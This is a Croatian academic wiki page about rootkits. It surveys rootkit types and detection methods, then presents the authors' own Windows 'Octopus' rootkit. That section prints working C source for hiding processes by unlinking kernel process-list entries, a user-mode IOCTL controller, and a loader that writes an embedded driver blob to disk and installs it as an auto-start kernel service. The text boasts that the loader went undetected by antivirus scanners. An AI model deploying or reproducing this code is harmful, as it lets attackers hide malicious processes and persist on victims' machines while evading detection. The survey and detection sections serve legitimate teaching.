Razvoj naprednih tehnika za izradu malwarea/rootkita

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Sadržaj

Rootkit – općenito

Maliciozni programi dio su informatičke svakodnevice dvadesetprvog stoljeća. Kako bismo bili u mogućnosti poduzeti odgovarajuće mjere zaštite, postalo je nužno poznavati njihove oblike, karakteristike i načine širenja. Pojam malicioznih programa (eng. malware) obuhvaća sve vrste računalnog softwarea kreiranog u svrhu izvršavanja nepoželjnih aktivnosti na korisnikovom računalu bez njegovog znanja. Kao osnovne kategorije malicioznih programa moguće je navesti viruse, crve, trojanske konje, adware, spyware, rootkit, ransomware i scareware. U ovom radu detaljnije će biti objašnjene vrste, načini rada i karakteristike rootkita.

Rootkiti na Windowsima u 2011. godini [3]

Rootkite možemo definirati kao maliciozne programe čija je namjena neovlašteni pristup i ostvarivanje i zadržavanje određene razine kontrole zaraženog računala, uz istovremeno prikrivanje vlastitih i stranih datoteka, procesa i zapisa u registrima koji se koriste pri preuzimanju kontrole i izvršavanju zlonamjernih aktivnosti na računalu. Naziv rootkit nastao je kao složenica engleskog naziva za UNIX korisnika s najvišom razinom ovlasti (root), te engleske riječi za alat (kit).

Rootkit u užem smislu predstavlja alat za sakrivanje napadačevih aktivnosti te ostvarivanje kontrole nad zaraženim računalom, dok u kombinaciji sa ostalim oblicima malicioznih programa do izražaja dolazi njegova štetna komponenta. Sukladno tome, rootkit u praksi predstavlja samo jednu od komponenata malicioznog software-a. Na slici 1 prikazana je raspodjela računala na kojima je u 2011. godini detektirana zaraza nekim oblikom rootkita, a koristila su neku od tri verzije operativnog sustava MS Windows sa instaliranim Avast antivirusnim programom, u ovisnosti o tržišnom udjelu (raspodjela se također odnosi na Windowse).


Kategorije rootkita

S obzirom na domenu izvršavanja razlikujemo korisničke (sakrivaju se od korisnika modificiranjem funkcija za pretraživanje datotečnog sustava, te prilikom pretraživanja izostavljaju sve podatke vezane za rootkit) i jezgrene (odlikuje ih presijecanje komunikacije s kernelom, te modificiranje podatkovne strukture jezgre, što omogućuje skrivanje zlonamjernih procesa iz ukupne liste procesa koji se izvršavaju na računalu) rootkite. Sa aspekta ovisnosti prisutstva rootkita na zaraženom računalu o sesiji operativnog sustava razlikujemo postojane („trajne“) rootkite (aktiviraju se prilikom svakog pokretanja operativnog sustava, uglavnom se nalaze u registryju ili u datotečnom sustavu) i rootkite koji se pohranjuju u radnoj memoriji (nepostojani - brišu se prilikom gašenja OS-a).

Kernel Mode (jezgreni) rootkiti

Ova vrsta rootkita izuzetno je opasna, budući da napadaču daje kontrolu na svim razinama sustava. Korištenjem funkcija jezgre omogućava nadzor i modificiranje komunikacije između jezgre, hardwarea i korisničkih aplikacija. Rootkit je moguće instalirati preko ulaznih modula jezgre, koji tokom svakodnevnog rada služe za instalaciju aplikacija i drivera stranih (neovisnih o operativnom sustavu) uređaja. Na taj način napadač dobiva širi skup ovlasti, te je u mogućnosti kontrolirati pristup, portove, operacije nad datotekama i direktorijima i slično. Skupovi ovlasti podijeljeni su u četiri grupe (prstena) i to tako da prva grupa (Ring 0) s najvišim ovlastima omogućuje pristup jezgri, dok četvrta grupa (Ring 3) sadrži ograničen skup ovlasti koje se tiču isključivo korisnikovog rada na računalu. U grupama Ring 1 i Ring 2 nalaze se upravljački programi (za grafičku karticu i sl.), no u praksi su ovlasti dodijeljene samo krajnjim grupama (jezgra i korisnički mod), što napadaču olakšava pristup i vršenje željenih aktivnosti. Rootkiti se, međutim, ne moraju koristiti u zlonamjerne svrhe. Primjerice, programi kao što su Deamon Tools, Power ISO, Alcohol 120% i sl. koriste rootkite kako bi kreirali virtualne pogone.

User Mode (korisnički) rootkiti

Filtriranje malicioznih datoteka [4]

Korisnički rootkiti egzistiraju na četvrtoj razini zaštite (Ring 3), te koriste API (eng. Application Programming Interface – programsko sučelje aplikacija) za komuniciranje sa resursima operativnog sustava, odnosno presretanje i modificiranje zahtjeva i odgovora legitimnih aplikacija pomoću dll datoteka. DLL (eng. Dynamic Link Library) datoteke predstavljaju svojevrsne posrednike između korisničkih aplikacija i jezgre operativnog sustava. S obzirom da ne komuniciraju direktno sa jezgrom, mogućnosti korisničkih rootkita su ograničene, ali ne i zanemarive. Ova vrsta rootkita se detektira i uklanja jednostavnije od jezgrenih rootkita, no i sama izrada je jednostavnija, stoga se i danas relativno često susreću u praksi.


Slika 2 prikazuje učinak filtriranja malicioznih datoteka na računalu zaraženom korisničkim rootkitom. Koraci filtriranja malicioznih podataka su sljedeći:

u međuvremenu promjenjeni.

U primjeru je prikazano filtriranje prilikom korištenja datotečnog preglednika, no na istom principu moguće je sakriti i trenutno aktivne procese, zapise u registrima itd.




Tehnike kreiranja rootkita

Imajući na umu da je prikrivenost jedna od ključnih osobina rootkita, prilikom njihove izrade nužno je obratiti posebnu pozornost na skrivanje malicioznog sadržaja. U tu svrhu koriste se brojne tehnike, a najpopularnije su preusmjeravanje (hooking), izmjena sadržaja (patching) i manipuliranje podatkovnom strukturom.

Maskiranje datoteka

Prikaz preusmjeravanja funkcija [5]

Jedna od starijih metoda funkcioniranja rootkita temelji se na zamjeni legitimnih sistemskih datoteka njihovim zaraženim verzijama, koje su pritom imale isti naziv, te koristile iste funkcije. Nedostatak ove tehnike je relativno lako otkrivanje pomoću cikličke provjere redundantnosti (CRC), budući da se prilikom usporedbe originalne i zaražene datoteke ne podudaraju CRC vrijednosti.

Hooking (preusmjeravanje)

Ova tehnika funkcionira na način da se pozivi sistemskih funkcija preusmjeravaju na maliciozni kod, odnosno mjenjaju se veze među objektima. Primjerice, moguće je zaobići originalno zatraženu funkciju, umjesto koje će se izvršiti modificirana verzija originalne funkcije, iz koje je izostavljen maliciozni sadržaj, koji će stoga ostati skriven, te ga korisnik neće detektirati. Slika 3 prikazuje koncept preusmjeravanja komunikacije. Umjesto direktne razmjene podataka, izvorna funkcija preusmjerava se na rootkit te se prosljeđuje ciljnoj funkciji, koja nakon izvršavanja zahtjevanih operacija rezultat vraća preko rootkita, čime je omogućeno njegovo modificiranje.  Ovu tehniku kreiranja rootkita nije moguće detektirati CRC provjerom, budući da se modifikacije ne izvršavaju nad originalnim podacima. Za detekciju rootkita ovog tipa koriste se programi koji skeniraju promjene u memoriji.   

DKOM

Akronim DKOM[9] označava izravnu manipulaciju objektima jezgre (eng. Direct Kernel Object Manipulation). To se prvenstveno odnosi na liste procesa, dretvi i portova koje se nalaze u memoriji jezgre, a koriste ih aplikacije prilikom prepoznavanja trenutno aktivnih procesa. Ova tehnika omogućava sakrivanje procesa i portova, izmjene ovlasti i sl. Prvi rootkit razvijen ovom tehnikom bio je FU, a djelovao je na način da modificira dvostruko vezanu listu tekućih procesa, kao što je prikazano na slici 4. Modificiranjem pokazivača na sljedeći (FLINK), odnosno prethodni (BLINK) proces sakriven je maliciozni proces, te se on ne prikazuje na listi trenutno aktivnih procesa. Usprkos tome, maliciozni kod se izvršava u pozadini, jer su promjene vršene u listi procesa, dok se lista dretvi nalazi u originalnom, netaknutom stanju. Pritom nije moguće pristupiti malicioznom procesu putem liste aktivnih procesa. Budući da se manipulacije odvijaju nad objektima u memoriji, DKOM se ne koristi za sakrivanje datoteka.

Patching

Modificiranje pokazivača vezane liste [6]

Ova tehnika oslanja se na modificiranje izvornog koda funkcije i promjene putanje izvršavanja, odnosno preusmjeravanja na maliciozni kod. Primjerice, to je moguće postići modificiranjem uvjetnih skokova u bezuvjetne skokove, čime se može stvoriti privid normalnog rada programa, dok se u stvari izvršava maliciozni kod.  Moguće je mjenjati putanje funkcija na disku ili koda koji se izvršava u memoriji, no ova tehnika je poprilično ranjiva na detekciju pomoću CRC-a i aplikacija za praćenje modifikacija jezgre.[10]

Virtualni stroj

Rootkiti napisani ovom tehnikom za cilj imaju pretvaranje računala koje žele zaraziti u virtualni stroj. Na taj način napadači ostvaruju potpunu kontrolu zaraženog računala, budući da se u tom slučaju rootkit nalazi na nižoj (nadređenoj) razini. Shodno tome, zaraženo računalo nije svjesno prisutstva rootkita. 


Tehnike otkrivanja rootkita

Usporedno sa razvijanjem tehnika izrade rootkita, javila se potreba za razvojem programa koji će uspješno detektirati infiltraciju rootkita na računalo. Većina razvijenih antirootkit programa koristi nekoliko tehnika otkrivanja, kako bi se povećale šanse za uspješnu detekciju. U nastavku će biti ukratko opisane najčešće tehnike otkrivanja rootkita.

Otkrivanje na temelju poznatog koda

Ova metoda spada među najkorištenije tehnike detekcije prisutnosti rootkita u sustavu, a temelji se na pretpostavci da je traženi maliciozni kod otprije poznat. Ukoliko je pretpostavka zadovoljena, tada se navedeni kod analizira, te se identificira njemu svojstveni potpis, odnosno dio koda za koji je sa sigurnošću moguće utvrditi da služi izvršavanju nepoželjnih aktivnosti. Navedeni potpis tada se integrira u bazu podataka koju antirootkit program koristi prilikom skeniranja sustava.[11] Ukoliko tokom skeniranja sustava program naiđe na dio koda koji odgovara potpisu malicioznog programa, vrlo je vjerojatno da je pronađeni kod nepoželjan, tj. da je računalo zaraženo rootkitom ili nekim drugim oblikom malicioznog softwarea. Iako se programi ovog tipa, ili programi koji uključuju slične algoritme i danas koriste, njihov je značajan nedostatak nemogućnost detekcije novih oblika rootkita, budući da u bazi podataka ne postoji uzorak njihovog koda, tj. njihov potpis.   

Nadzor integriteta datoteka

Nadzor integriteta funkcionira na principu izračunavanja hash vrijednosti datoteka bitnih za rad operativnog sustava, te uspoređivanja tih vrijednosti sa poznatim hash vrijednostima (kontrolna suma) istih datoteka koje su spremljene u bazu podataka. Baza hash vrijednosti generira se prilikom „čiste“ instalacije operativnog sustava, kako bi se osigurao čvrst temelj za uspoređivanje novih vrijednosti. Ukoliko se hash vrijednosti datoteke ne podudaraju, to je pouzdan znak da je njen sadržaj izmjenjen, što ukazuje na aktivnost malicioznih programa. Ova tehnika pokazala se djelotvornom u borbi protiv patching rootkita, no njena je očita mana neosjetljivost na hooking (preusmjeravane) i DKOM rootkite. Detekcija preusmjeravanja Rootkiti temeljeni na preusmjeravanju učestalo koriste postojeće sistemske tablice, koje sadrže pokazivače na različite pokazivače na funkcije i prekidne rutine, koji se nalaze unutar definiranih memorijskih lokacija. Ukoliko rootkit promjeni originalni pokazivač, te ga usmjeri na maliciozni kod, velika je vjerojatnost da će isti pokazivati na memorijske lokacije koje ne pripadaju domeni definiranih, „sigurnih“ lokacija, što je pouzdan pokazatelj prisutnosti neželjenih programa u sustavu. Mana ove tehnike detekcije je ranjivost na rootkite koji se izvršavaju u jezgri (Ring 0), budući da oni imaju ovlasti potrebne za promjenu rezultata skeniranja antirootkit programa (rade na istoj razini), te je stoga moguće da maliciozni program izbjegne detekciju.

Unakrsna analiza

Ova tehnika detekcije temelji se redundanci, odnosno uspoređivanju pripadajućih vrijednosti na aplikacijskom i fizičkom sloju. Pretpostavka je da se rootkit ne može sakriti prilikom skeniranja hardware-a, te se stoga uspoređuju dokumenti i vrijednosti registara, čiji izostanak  na aplikacijskom sloju ukazuje na pokušaj prikrivanja malicioznog koda. Tehnika unakrsne analize uspješno se primjenjuje pri detekciji DKOM i patching rootkita. Mrežna detekcijaTehnika mrežne detekcije bazira se na praćenju mrežnog prometa i aktivnih portova. Trenutna slika stanja šalje se pouzdanom gateway-u, koji uspoređuje zaprimljenu sliku sa trenutnim stanjem koje je njemu vidljivo. Ukoliko postoje otvoreni portovi koji se ne pojavljuju na zaprimljenoj slici stanja, velika je vjerojatnost da je sustav zaražen rootkitom. Mrežnom detekcijom moguće je otkriti nove rootkite, te na taj način upotpuniti bazu potpisa antirootkit programa koji detekciju vrše na osnovu poznatog malicioznog koda.

Heuristička detekcija

Ova tehnika detekcije rootkita temelji se na klasifikaciji neželjenog ponašanja sustava sukladno predefiniranim pravilima. Primjerice, pretpostavlja se da normalan intenzitet odlaznih email poruka ne može prelaziti određenu granicu, stoga je u slučaju iznimno povećanog intenziteta vrlo vjerojatno da se radi to aktivnostima malicioznih programa. Modificiranje jezgre računala također upućuje na isti zaključak. Ova metoda detekcije, kao i metoda praćenja mrežnog prometa, također omogućuje otkrivanje novih rootkita, no bitno je napomenuti kako su pri korištenju ove tehnike učestali slučajevi lažnih detekcija neželjenih aktivnosti.

--Ozren Tepuric 22:11, 6. siječnja 2012. (CET)

Protection rings

Protection rings
Protection rings unutar Intel x86 procesora[7]

Protection rings služe operacijskome sustavu da ograniči interakciju korisničkih programa s jezgrom (kernel-om) računala. Kao što možemo vidjeti na slici 1 postoje četiri razine zaštite unutar procesora.

Moderni operacijski sustavi razlikuju samo dva načina rada, a to su User(Ring 3) i System(Ring 0) način rada.

User mode se nalazi unutar Ring 3 prstena i on nadgleda da se korisnički kod izvodi unutar tih okvira, sprječava izvršavanje instrukcija iz korisničkog u sistemskom načinu. Ali kada aplikacija iz korisničkog načina treba pristupiti sustavskom načinu rada postoje predefinirana vrata[12] koja dopuštaju razmjenu podataka između aplikacije i jezgre.

Scenarij u kojem korisnička aplikacija treba pristupiti jezgri i njenim funkcijama je kada se aplikacija direktno veže uz driver koji se nalazi u jezgri računala. Kao što je software za skeniranje i skener, software za snimanje i webcamera i postoje mnogi drugi primjeri.

Prilikom te interakcije izvode se sistemski pozivi koji omogućavaju pristup jezgri od strane korisničke aplikacije. Svi sistemski pozivi su izvedeni tako da sprječavaju neovlaštene pozive unutar jezgre. Postoje predefinirani sistemski pozivi koji paze da korisnik ne bi izvodi maliciozni kod.

RB Ovlasti
Ring 0 Jezgra računala (kernel), dopušten pristup svim instrukcijama.
Ring 1 Aplikaciji se dopušta prošireni spektar instrukcija, proširenje prstena Ring 2.
Ring 2 Aplikaciji se dopušta prošireni spektar instrukcija ali u manjoj mjeri nego Ring 1.
Ring 3 Korisničke aplikacije, nedopušten pristup instrukcijama jezgre.

Iz opisa primjera poziva sistemskih funkcija unutar jezgre možemo vidjeti da se driveri izvode unutar jezgre i da imaju najveće ovlasti unutar sustava.

Stoga unutar ove metode izrade rootkita, programski kod rootkita će se nalaziti unutar jezgre kao driver i izvoditi će se u jezgri. Rootkit će predstavljati driver za nepostojeći uređaj u računalu. I samim time kada se rootkit postavi na računalo on će se pokretati unutar jezgre i neće imati problema s izvršavanjem funkcija jer će imati sve dostupne ovlasti i pristup svim funkcijama jezgre bez upletanja sustava.

--Frane Jakelić 11:15, 4. siječnja 2012. (CET)

Octopus Rootkit

Rootkit koji je nastao kao produkt ovog rada se sastoji od dva djela korisničkog i sistemskog djela i loadera rootkita na računalo, sistemski dio može raditi neovisno o korisničkom, koji je njegova nadopuna.

Repozitorij se nalazi na bitbucket-u.

Sistemski dio predstavlja windows driver koji napadaču omogućava:

Korisnički dio:

Loader:

Svaki od djelova rootkit-a će biti detaljnije pojašnjen u daljnjem tekstu.

Sistemski dio rootkita (Driver)

Sistemski dio rootkita je izrađen kao driver na windows operacijskom sustavu, ova metoda je izabrana kako bi napadač imao najviše privilegije prilikom pokretanja rootkita i drugih malicioznih aplikacija koje planira dodati na zaraženo računalo. Prvidio na rasporedu opisa sistemskog djela dolazi skrivanje aktivnih procesa uz pomoć DKOM metode.

DKOM (Direct kernel object manipulation)

DKOM[13] se koristi za pristupanje jezgrinoj memeoriji i promjenom objekata koji se nalaze unutar jezgre. Objekti koji se nalaze unutar jezgrine memorije paze na aktivne procese, dretve, trenutno otvorene portove i na mnoge druge informacije o trenutnom sustavu. Svi ti objekti su podložni promjeni od strane napadača, i napadač je u mogućnosti sakriti većinu svojih radnji. Skrivanje samih radnji se izvodi na način da se ti interni zapisi u memoriji jezgre editiraju da ne prikazuju maliciozni sadržaj.

DKOM metoda je vrijedan alat za izradu rootkitova ali nije savršena, metoda je dosta fragilna i ovisi o velikom broju faktora prilikom izvođenja koda unutar jezgre. Kako se prilikom izdavanja novih verzija Windows operacijskih sustava često mijenjaju pozicije i adrese internih funkcija koje su neophodne za DKOM metodu time se stvara i potreba za izradom novijih verzija rootkita koji će moći nadiči te probleme.

Skrivanje procesa

Prilikom navođenja DKOM metode spomenuto je da postoji objekt u jezgrinoj memoriji koji pazi na trenutne procese. Taj objekt je dvostruko vezana lista koja prati sve aktivne procese i omogućava aplikacijama na korisničkoj razini da saznaju koji su trenutno aktivni procesi na računalu. Ova lista procesa nam je posebno zanimljiva jer promjenama nad njom možemo sakriti naš maliciozni proces koji se izvodi u pozadini operacijskog sustava.

Skrivanje procesa se izvodi na način da se unutar dvostruko vezane liste pronađe proces koji odgovara predefiniranom stringu, i prilikom pronalaska tog procesa taj proces se „izdvoji“ iz te liste.

U daljnjem tekstu je prikazana implementacija DKOM metode skrivanja procesa u C programskom jeziku. Kao što možemo vidjeti iz programskog djela koda, da se prvo pretražuje proces i prilikom njegovog pronalaska preusmjeravaju se veze prijašnjeg i sljedećeg elementa u listi da zaobiđu naš maliciozni proces.

   _Eprocess[14] Struktura za Windows XP:
   +0x000 Pcb                : _KPROCESS
   +0x084 UniqueProcessId    : Ptr32 Void
   +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage         : [3] Uint4B
   ...
   +0x174 ImageFileName      : [16] UChar
   ... 
void skrivanjeProcesa(char *naziv, int duljina,int OS){
  PEPROCESS procesZaSkrivanje;
  PLIST_ENTRY elementZaSkrivanje;
 /*
 Prvo se izvodi OS probing kako bi driver znao koji pomak mora
 koristiti prilikom kretanja po listi koja sadrži popis aktivnih procesa
 */
  switch(OS){
	case 5:{ //Windows XP
		pomak=0x088;
		glava=0x174;
		break;
	}
	case 6:{ //Windows Vista
		pomak=0x0A0;
		glava=0x14c;
		break;
	}
	case 7:{ // Windows 7
		pomak=0x0B8;
		glava=0x16c;
		break;
	}
  }
  
  if (!(procesZaSkrivanje = (PEPROCESS) pretraziPoImenu(naziv, duljina) ) ) return 0;

  elementZaSkrivanje = (PLIST_ENTRY)((PUCHAR) procesZaSkrivanje + pomak); 

 /*
 Izvršava se preusmjeravanje liste da zaobiđe naš željeni proces i nakon toga 
 se naš proces preusmjerava na samog sebe kako ne bi došlo do problema u 
 izvođenju proces i samog rušenja sustava.
 */
  *((PDWORD) elementZaSkrivanje->Blink) = (DWORD) elementZaSkrivanje->Flink;
  *((PDWORD) (elementZaSkrivanje->Flink)+1) = (DWORD) elementZaSkrivanje->Blink;
  elementZaSkrivanje->Blink = (PLIST_ENTRY)&elementZaSkrivanje->Flink;
  elementZaSkrivanje->Flink = (PLIST_ENTRY)&elementZaSkrivanje->Flink;
}

ULONG pretraziPoImenu(char *naziv, int duljina){
  PEPROCESS PocetniProces, TrenutniProces;
  PLIST_ENTRY elementListe;

  PocetniProces = IoGetCurrentProcess();//Kazaljka se pozicionira na trenutni process
  TrenutniProces = PocetniProces;

  do{
  /*
  Provjerava se da li trenutni proces koji se pregledava odgovara našem procesu koji 
  želimo skriti. Na adresi 0x174(win xp) se nalazi element ImageFileName koji sadrži 
  char array koji u sebi sadrži ime procesa u listi.
   */
    if (!strncmp(naziv, ((PUCHAR) TrenutniProces + glava), duljina))return TrenutniProces;
        //pomak pomiče kazaljku do pokazivača na sljedeći element liste
	elementListe = (PLIST_ENTRY)((PUCHAR)TrenutniProces + pomak);
	TrenutniProces = (PEPROCESS)elementListe->Flink;
        //negativni pomak nas vraća na deskriptor procesa.
	TrenutniProces = (PEPROCESS)((PUCHAR)TrenutniProces - pomak); 
  } while (PocetniProces != TrenutniProces);

  return 0;
} 

Pokretanje aplikacije iz jezgre računala

Još jedna od neizostavnih funkcija kernel-based rootkita je pokretanje aplikacija u korisničkom načinu rada.

Na prvu ruku bi se činilo da pokretanje korisničke aplikacije iz jezgre ne bi trebalo raditi velike probleme, ali taj smjer je možda i mnogo složeniji od suprotnog smjera.

Sami ti problemi nastaju iz razloga jer iz korisničkog u sustavski način rada postoje poviše spomenuti gateway-i koji omogćavaju komunikaciju i oni su podložni eksploatiranju.

Prilikom isktraživanja ove metode pronađeno je mnogo materijala koji govore da kernel execute (na Windowsima) je veoma zahtjevan pothvat.

Metoda radi na sljedećem principu:

Automatsko pokretanje malicioznog sadržaja prilikom startanja Windowsa

Kako se driver instalira na računalo kao service onda se njemu može definirati da se automatski pokreče prilikom startanja Windowsa. Samim time se omogućava da korisnik unutar koda definira korisnički program koji će se pokretati uz pomoć metode kernel execute koja je opisana u prošlom paragrafu.

Ova metoda donosi poboljšanja u metodama izrade rootkita jer maliciozni kod koji se izvodi u pozadni može biti skriven tijekom izvođenja ali također on će biti skriven među autostart programima Windowsa. Samo pojavljivanje nepoznatog korisničkog programa u windows autostartu mnogim korisnicima je odavalo znakove maliciozne radnje.

--Frane Jakelić 11:15, 4. siječnja 2012. (CET)

Korisnički dio

Korisnički dio rootkita se odnosi na ostvarivanje komunikacije između korisničkog i sistemskog načina rada. Koristi se kako bi se mogle zadavati naredbe rootkitu iz korisničkog načina, u ovom primjeru ćemo se bazirati na komunikacijski kanala koji omogućava korisniku da pokrene ili sakrije određeni proces.

Kasnije moguće nadogradnje na korisnički dio aplikacije je dodavanje backdoora koji bi ostvariva socket komunikaciju između dvaju računala preko interneta i time omogućio remote upravljanje rootkitom dok je upravljanje trenutno samo lokalno.

Ostvarivanje dvosmjerne komunikacije između korisničke aplikacije i drivera

Dvosmjerna komunikacija se izvodi pomoću Device Input and Output Control (IOCTL) funkcija koje su omogućene u Windows driverima.

Na sljedećem programskom kodu će ta komunikacija biti detaljnije pojašnjena.

Korisnički dio komunikacije:

 /*
 Definiraju se nazivi kanala preko kojih će se slati poruke, naziv kanala je bitan kako bi driver
 mogao razlučiti kako treba upotrijebiti dobivene podatke.
 */
 #define IOCTL_PROCESSHIDE\
    CTL_CODE( SIOCTL_TYPE, 0x801, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)
 #define IOCTL_OSPROBE\
    CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)

 int osProbe();
 int osProbe(){
        /*
        Prvo se izvršava os probe na korisničkoj strani kako bi se driveru mogli poslati podaci
        na kojem operacijskom se nalazi rootkit kako bi rootkit znao koje memorijske pomake mora
        koristiti. Znaći samo se podatak o OS šalje preko komunikacijskog kanala rootkitu.
        */
	OSVERSIONINFOEX osvi;
		osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
		if (GetVersionEx((OSVERSIONINFO *) &osvi)){

			if( osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 ){
				if( osvi.wProductType == VER_NT_WORKSTATION )return 6;
				else printf("Windows server 2008");
			}else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1){
				if( osvi.wProductType == VER_NT_WORKSTATION )return 7;
				else printf("Windows Server 2008 R2 " );
			}else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1){
			return 5;}
		}
		return 0;
 }
 int __cdecl main(int argc, char* argv[])
 {
    HANDLE hDevice;
    DWORD NombreByte;
    char out[50];
    char OS[1];
    ZeroMemory(out,sizeof(out));
    /*
    Otvara se hardware-ski drive kako bi se mogla ostavariti komunikacija. Jer prilikom izrade
    drivera bilo bi besmisleno da dravire može slati i primati podate ako nema fizičku IO jedinicu
    stoga mi kreiramo imaginarni drive koji će nam koristiti kako odskočna daska za izvršavanje
    komunikacije između korisničkog programa i drivera
    */
    hDevice =  CreateFile("\\\\.\\rootkit",
                         GENERIC_WRITE|GENERIC_READ,
                         0,
                         NULL,
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         NULL);
    itoa(osProbe(),OS,10);
	if (argc > 1){
          /*
          Definira se IO kontrola između drivera i korisnićke aplikacije, označavamo po kojem
          kanalu šaljemo podatke i input i output buffer koji se koriste kako bi se razmjenili
          podaci.
          */
          DeviceIoControl(hDevice,IOCTL_OSPROBE,
                        OS,
                        strlen(OS),
                        out,
                        sizeof(out),
                        &NombreByte,
                        NULL);

	  DeviceIoControl(hDevice,
                        IOCTL_PROCESSHIDE,
                        argv[1],
                        strlen(argv[1]),
                        out,
                        sizeof(out),
                        &NombreByte,
                        NULL);
	    }else{
	        printf("Proces za skrivanje nije definiran!");
	    }

    CloseHandle(hDevice);
    return 0;
 }

Sustavski dio komunikacije:

NTSTATUS IoControlFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION IrpSl;
  ULONG CtlCode;
  PVOID pBuf = Irp->AssociatedIrp.SystemBuffer;//dohvaćaju se podaci s input buffer
  IrpSl = IoGetCurrentIrpStackLocation(Irp);
  CtlCode = IrpSl->Parameters.DeviceIoControl.IoControlCode;//dohvaća se ime kanala 
  /*
  Na temlju imena kanala izvršavaju se funkcije također je moguće i odgovoriti iz drivera
  ali za trenutnu implementaciju to nije potrebno.
  */
  if(CtlCode == IOCTL_PROCESSHIDE){
	   DbgPrint("DEBUG: Skriva se proces: %s",pBuf);
	   skrivanjeProcesa(pBuf, IrpSl->Parameters.DeviceIoControl.InputBufferLength,OS);
	   RtlZeroMemory(pBuf,IrpSl->Parameters.DeviceIoControl.InputBufferLength);
  }
  if(CtlCode == IOCTL_OSPROBE){
	OS=atoi(pBuf);
	}

Definiranje programa koji se trebaju pokrenuti ili skriti

Iz prijašnjeg koda relevantan nam je samo maleni snippet koda koji nam omogićava definiranje programa koji treba skriti/pokrenuti.

	  DeviceIoControl(hDevice,
                        IOCTL_PROCESSHIDE,
                        argv[1],
                        strlen(argv[1]),
                        out,
                        sizeof(out),
                        &NombreByte,
                        NULL);

Ovaj dio kod prihvača argument preko komandne linije i prosljeđuje ga driveru. Driver zna koji postupak treba izvršiti po kanalu preko kojeg je naziv aplikacije poslan u našem primjeru IOCTL_PROCESSHIDE. IOCTL_PROCESSHIDE je kanal za skrivanje procesa, naziv je korisnički definiran.

--Frane Jakelić 11:15, 4. siječnja 2012. (CET)

Loader

Funkcija loadera je da postavi rootkit na računalo te da definira početne postavke, koji programi će biti skriveni a koje aplikacije će se pokretati. I također loader se brine da postavi driver na automatsko pokretanje prilikom pokretana Windowsa ili da bude triggeran nekim određenim događajem.

Stvaranje drivera iz BLOB-a koji je spremljen u aplikaciji

U prvoj verziji rootkit je bio deployan pomoću nekih postojećih rješenja, ali kako je većina tih rješenja prepoznata od strane antivirusnih kompanije izrađeno je privremeno rješenje. To rješenje je da se binarni zapis drivera koji se treba insalirati na računalo zapakira unutar hex koda i da se prilikom izvršenja loadera binarno zapiše u datoteku i pokrene. Prilikom testiranja ove metode na stranicama kao virustotal nije bilo nikakvih upozorena na maliciozni sadržaj.

Kreiranje driver sys datoteke na "žrtvinom" računalu

void createSys()
{
    FILE *myfile = fopen("rootkit.sys", "wb");

    unsigned char rootkit_sys[] = {
        /*      0 */  0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00, /* MZ...... */
        /*      8 */  0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00, /* ........ */
        /*     16 */  0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */
        /*     24 */  0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* @....... */
        /*     32 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */
        /*     40 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */
        /*     48 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */ 
                                   . . .
        /*   3432 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */
        /*   3440 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* ........ */
        /*   3448 */  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  /* ........ */
    }; 

    int rootkit_sys_len = 3456;

    fwrite(rootkit_sys, rootkit_sys_len, 1,myfile);

Podešavanje i instaliranje drivera na računalo

Ovaj programski kod prikazuje definiranje početnih postavki drivera i otvaranje manager koji omogućava registriranje drivera na računalu.

        char aPath[1024];
	char aCurrentDirectory[515];
	SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	GetCurrentDirectory(512, aCurrentDirectory);
	_snprintf(aPath,1022,"%s\\%s.sys",aCurrentDirectory,theDriverName);
        SC_HANDLE rh = CreateService(sh, 
                       theDriverName,
                       theDriverName,
                       SERVICE_ALL_ACCESS,
                       SERVICE_KERNEL_DRIVER,
                       SERVICE_AUTO_START, 
                       /*
                       SERVICE_AUTO_START
                       možda najbitnija zastavica koja našem rootkitu omogućava
                       automatsko startanje prilikom startanja windowsa. 
                       */   
                       SERVICE_ERROR_NORMAL,
                       aPath,
                       NULL,
                       NULL,
                       NULL,
                       NULL,
                       NULL);
 
         rh = OpenService(sh,theDriverName,SERVICE_ALL_ACCESS);

--Frane Jakelić 11:15, 4. siječnja 2012. (CET)

Napredne metode evolucije malwarea

Popularizacijom profesionalnih antivirusnih aplikacija, autori malwarea shvatili su da se ne isplati raditi viruse sa statičnim kodom jer im se vrlo lako izuzme potpis (dio koda karakterističan za neki virus), pa ih je stoga relativno lako zaustaviti čim se prvi put virus otkrije "u divljini". Neki autori malwarea su pokušali zaobići ovaj problem napadanjem samih antivirusnih programa, no naprednije rješenje je bilo promijeniti sam kod na način da uvijek bude neprepoznatljiv.

Enkriptiranje

Prikaz statičkog i varijabilnog dijela enkriptiranog virusa kroz četiri generacije (dijelovi iste boje se ne mijenjaju). Tijelo virusa je u svakoj generaciji drukčije jer se enkriptira različitim ključem. Međutim, nakon dekripcije cijeli kod je dostupan.

